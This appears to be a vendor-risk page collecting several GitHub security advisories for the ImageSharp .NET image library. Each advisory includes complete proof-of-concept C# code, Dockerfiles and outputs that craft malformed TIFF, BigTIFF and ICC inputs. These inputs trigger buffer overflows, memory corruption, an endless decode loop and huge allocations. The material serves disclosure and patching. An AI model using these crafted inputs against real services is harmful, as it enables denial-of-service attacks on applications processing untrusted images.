Where
-Infinity
0

Vendor Risk Score

See how sixlabors compares to other vendors in security performance

View Risk Score →
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.1.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The T6 compressor was introduced by commit 3c9eb470a07a15012c2a29ad84090dcc804a7975, first released in v2.1.0, with the same Width rowsPerStrip allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. Details

TiffCcittCompressor.Initialize allocates Width rowsPerStrip bytes. A 1×1 strip therefore receives one byte.

After encoding the row, T6BitCompressor.CompressStrip appends two 12-bit EOFB codes. WriteCode writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws ArgumentOutOfRangeException, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit CcittGroup4Fax and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

Tested environment

- Published NuGet package: SixLabors.ImageSharp 4.1.1 - Target framework: net8.0 - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

Reproduction

Create a net8.0 project referencing the published 4.1.1 assembly and use this Program.cs:

csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); }

Console.WriteLine($"encoded=True bytes={output.Length}");

Run:

text dotnet run -- exploit dotnet run -- control

The exploit produced exit code 134:

text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span1 rows, Int32 height)

The control completed with exit code 0:

text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212

Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in Vector4.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1 - Affected range: >= 4.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The reproduced ColorProfileHandling.Convert path and the unsafe Vector4 LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.

Details

IccClut accepts one through fifteen input and output channels. In the reproduced A2B0 LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. ClutCalculator.Calculate passes a pointer to a four-float Vector4 result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their LutEntryCalculator.CalculateLut implementation uses Unsafe.Add from the first float of a four-float Vector4.

An application reaches this code by decoding an image containing the profile with DecoderOptions.ColorProfileHandling set to Convert. Preserve is the default and does not run ICC conversion.

Reproduction environment and result

The supplied exploit and control were run against the published NuGet 4.1.1 net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30.

The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below.

Complete control output:

text mode=control outputchannels=3 imagesharpassembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharpversion=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f pngbytes=204 decodecompleted Docker exit status: 0

Complete exploit output:

text mode=exploit outputchannels=15 imagesharpassembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharpversion=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f pngbytes=207 Docker exit status: 139

No active exploitation is known.

Impact

Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths.

Complete PoC files

Program.cs:

csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats;

static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); }

private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); }

private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value 65536D)));

// A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream();

byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header);

U32(stream, 1); // one tag stream.Write(Encoding.ASCII.GetBytes("A2B0")); long offsetField = stream.Position; U32(stream, 0); long sizeField = stream.Position; U32(stream, 0); long tagStart = stream.Position;

stream.Write(Encoding.ASCII.GetBytes("mft2")); U32(stream, 0); stream.WriteByte(inCh); stream.WriteByte((byte)outCh); stream.WriteByte(clutPoints); stream.WriteByte(0); for (int y = 0; y < 3; y++) { for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D); }

U16(stream, tableEntries); U16(stream, tableEntries); for (int channel = 0; channel < inCh; channel++) { U16(stream, 0); U16(stream, ushort.MaxValue); }

for (int point = 0; point < 8; point++) { for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000); }

for (int channel = 0; channel < outCh; channel++) { U16(stream, 0); U16(stream, ushort.MaxValue); }

long tagEnd = stream.Position; byte[] result = stream.ToArray(); BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart); BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart)); BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length); return result; }

private static byte[] BuildPng(byte[] icc) { using var source = new Image<Rgb24>(16, 16); source.Metadata.IccProfile = new IccProfile(icc); using var encoded = new MemoryStream(); source.SaveAsPng(encoded); return encoded.ToArray(); }

public static int Main(string[] args) { string mode = args.Length == 1 ? args[0] : "exploit"; if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control"); int outputChannels = mode == "exploit" ? 15 : 3; Console.WriteLine($"mode={mode} outputchannels={outputChannels}"); Console.WriteLine($"imagesharpassembly={typeof(Image).Assembly.Location}"); Console.WriteLine($"imagesharpversion={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}"); byte[] png = BuildPng(BuildIcc(outputChannels)); Console.WriteLine($"pngbytes={png.Length}"); var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert }; using Image image = Image.Load(options, png); Console.WriteLine("decodecompleted"); return 0; } }

Project file:

xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>disable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> <Private>true</Private> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> <Private>true</Private> </Reference> </ItemGroup> </Project>

Dockerfile:

dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY ffp7.csproj Program.cs ./ Restore only to obtain the published package. The repro project then uses a direct DLL reference so ImageSharp's package build target is not invoked. RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build ffp7.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]

Run:

sh docker build -t imagesharp-ffp7-poc . docker run --rm imagesharp-ffp7-poc control docker run --rm imagesharp-ffp7-poc exploit

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. Details

ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count 5000000000. There are no bytes for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124

timeout exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is 1:

text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.

Complete PoC files

Program.cs:

csharp using SixLabors.ImageSharp;

static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; }

private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } }

Project file:

xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project>

Dockerfile:

dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build wmxv.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

Run:

sh docker build -t imagesharp-wmxv-poc . timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000 docker run --rm imagesharp-wmxv-poc 1

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure. Preconditions and impact

The affected path is reached when the application encodes 1-bit image data with TiffCompression.CcittGroup3Fax. This can happen when an application explicitly selects TiffEncoder.BitsPerPixel = Bit1 and TiffEncoder.Compression = CcittGroup3Fax. It can also occur when an application decodes a TIFF and re-encodes it using the default TiffEncoder, because ImageSharp retains TIFF frame metadata including the compression and bit depth.

TiffCompressorFactory creates T4BitCompressor for CcittGroup3Fax. TiffCcittCompressor.Initialize allocates Width rowsPerStrip bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. WriteCode calls BitWriterUtils.WriteBit and WriteZeroBit, both of which use Unsafe.Add without a capacity check. Thus the encoded bit stream can exceed the allocated span.

A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal System.AccessViolationException during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.

Tested environment

- Package binary: NuGet SixLabors.ImageSharp 4.1.1 - Target framework: net8.0 - Runtime: .NET 8.0.30; SDK 8.0.424 - Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker

No active exploitation is known.

Reproduction

In a net8.0 project that references the published SixLabors.ImageSharp 4.1.1 binary, save the following as Program.cs. Run dotnet run -- exploit 2000 for the trigger and dotnet run -- control 2000 for the control.

csharp using System; using System.IO; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; using SixLabors.ImageSharp.PixelFormats;

string mode = args.Length > 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000;

Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image<L8>(width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));

var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax;

using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes");

Against the published 4.1.1 package, this produced:

text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...)

A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:

text mode=control width=64 height=2000 Encoded OK: 76230 bytes

The direct public configuration path also triggers with:

csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax };

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

SixLabors.ImageSharp can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access.

This report covers HistogramEqualization only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release. Details

ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.

The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes HistogramEqualization().

Observed result:

text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133

The control is identical except samples are 0.5:

text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0

When the same exploit binary was invoked through a shell inside the container, the shell printed Aborted and reported status 134. The direct docker run result above is the result for the supplied Docker commands.

No active exploitation is known.

Complete PoC files

Program.cs:

csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing;

static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); }

// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i < width; i++) { file.AddRange(BitConverter.GetBytes(sample)); }

return file.ToArray(); }

private static void Main(string[] args) { string mode = args.FirstOrDefault() ?? "exploit"; float sample = mode == "control" ? 0.5F : float.PositiveInfinity; byte[] tiff = BuildTiff(sample); Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } }

Project file:

xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project>

Dockerfile:

dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

Run:

sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.

In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 1.0.0-beta0001, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The parser defect is present from the first published NuGet prerelease, 1.0.0-beta0001, through the latest published release, 4.1.1. The automatic Image.Load conversion path used by the main PoC exists in >= 4.0.0, <= 4.1.1; earlier versions expose the same parser defect through the public IccProfile.Entries accessor. Details

The reproduced profile has an A2B0 multi-process-elements (mpet) tag with a clut element declaring 15 input channels, 15 output channels, and three grid points per input channel. ReadClutF32 computes 3^15 15 and allocates that many floats before reading any CLUT values or verifying that the tag has enough remaining data. The supplied 200-byte profile ends immediately after the CLUT grid descriptor.

In v4, the path is reached when an application decodes an embedded ICC profile using DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert. The default setting, Preserve, does not parse the profile for conversion.

In v1 through v3, ReadClutF32 uses a jagged representation. Loading an ICC-bearing JPEG and then accessing decoded.Metadata.IccProfile.Entries reaches the public lazy parser. The malformed profile allocates the 3^15-entry outer array before the missing CLUT values are detected.

Reproduction environment and result

The supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1 net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.

Published 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by IccProfile.Entries; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published 1.0.0-beta0001 public IccProfile(bytes).Entries path allocated 114,813,528 bytes before a catchable managed bounds exception.

One exploit decode increased GC.GetTotalAllocatedBytes(true) by approximately 861.5 million bytes, then returned InvalidIccProfileException: Invalid conversion method. The reader catches the truncated-tag error and drops that tag. The identical input with ColorProfileHandling.Preserve completed successfully with roughly 0.5 million allocated bytes in the harness.

One complete exploit run produced:

text mode=exploit profilebytes=200 requestedfloatarray=215233605 requestedbytes=860934420 imagesharpassembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharpversion=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f observedexception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method. managedbytesallocated=861476416 Docker exit status: 0

The control from the same image produced:

text mode=control profilebytes=200 requestedfloatarray=215233605 requestedbytes=860934420 imagesharpassembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharpversion=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f decoded=1x1 iccpresent=True managedbytesallocated=511888 Docker exit status: 0

The exact allocation counter includes runtime allocations and varies slightly between processes; the requested CLUT array itself is 860,934,420 bytes.

No active exploitation is known.

Impact

This report demonstrates a large attacker-controlled transient allocation in the ICC conversion path. It does not demonstrate unhandled process termination: allocation failure is caught while parsing the malformed tag, so the impact should be limited to memory pressure / input-validation failure unless a reproduction demonstrates a stronger result.

Complete PoC files

Program.cs:

csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Png; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats;

static class Program { private const int RequestedFloats = 215233605; // 3^15 15 private const int RequestedBytes = RequestedFloats sizeof(float);

private static void U32(byte[] bytes, int offset, uint value) => BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value); private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value); private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i < value.Length; i++) bytes[offset + i] = (byte)value[i]; }

// ICC v4 RGB profile containing an A2B0 mpet tag whose CLUT is deliberately // truncated after its grid descriptor. ReadClutF32 still sizes float[] from // the 15 untrusted input/output channels and the grid value of three. private static byte[] BuildTruncatedProfile() { const int tagOffset = 144; const int elementOffset = 168; byte[] profile = new byte[200]; U32(profile, 0, (uint)profile.Length); Ascii(profile, 4, "test"); U32(profile, 8, 0x04000000); U32(profile, 12, 0x6D6E7472); // display device U32(profile, 16, 0x52474220); // RGB U32(profile, 20, 0x58595A20); // XYZ Ascii(profile, 36, "acsp"); U32(profile, 128, 1); U32(profile, 132, 0x41324230); // A2B0 U32(profile, 136, tagOffset); U32(profile, 140, 56); U32(profile, tagOffset, 0x6D706574); // mpet U16(profile, tagOffset + 8, 0); U16(profile, tagOffset + 10, 0); U32(profile, tagOffset + 12, 1); U32(profile, tagOffset + 16, 24); // element offset relative to tag start U32(profile, tagOffset + 20, 32); U32(profile, elementOffset, 0x636C7574); // clut U16(profile, elementOffset + 4, 15); U16(profile, elementOffset + 6, 15); for (int i = 0; i < 15; i++) profile[elementOffset + 8 + i] = 3; return profile; }

